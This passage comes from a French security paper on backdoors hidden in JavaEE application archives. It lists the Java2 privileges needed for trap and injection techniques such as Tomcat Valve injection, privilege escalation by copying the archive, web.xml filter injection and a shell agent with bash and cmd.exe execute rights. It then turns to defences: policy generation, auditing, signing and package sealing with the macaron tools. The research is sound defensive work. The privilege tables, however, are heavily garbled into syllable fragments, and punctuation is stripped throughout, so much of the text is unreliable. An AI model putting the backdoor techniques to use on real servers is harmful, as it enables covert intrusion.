En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
